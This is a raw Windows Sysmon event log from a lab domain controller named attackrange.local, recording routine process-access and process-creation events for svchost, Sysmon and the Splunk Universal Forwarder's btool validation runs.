09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5200-000000007F01}4032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D2-5F80-5200-000000007F01}4032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+181c6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.359{A5F018FF-28D2-5F80-5200-000000007F01}4032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000001970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.309{A5F018FF-28D2-5F80-5100-000000007F01}40524048C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5100-000000007F01}4052C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5100-000000007F01}4052C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28D2-5F80-5000-000000007F01}40722796C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D2-5F80-5100-000000007F01}4052C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.080{A5F018FF-28D2-5F80-5100-000000007F01}4052C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D2-5F80-5000-000000007F01}4072C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings 10341000x80000000000000001956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5000-000000007F01}4072C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 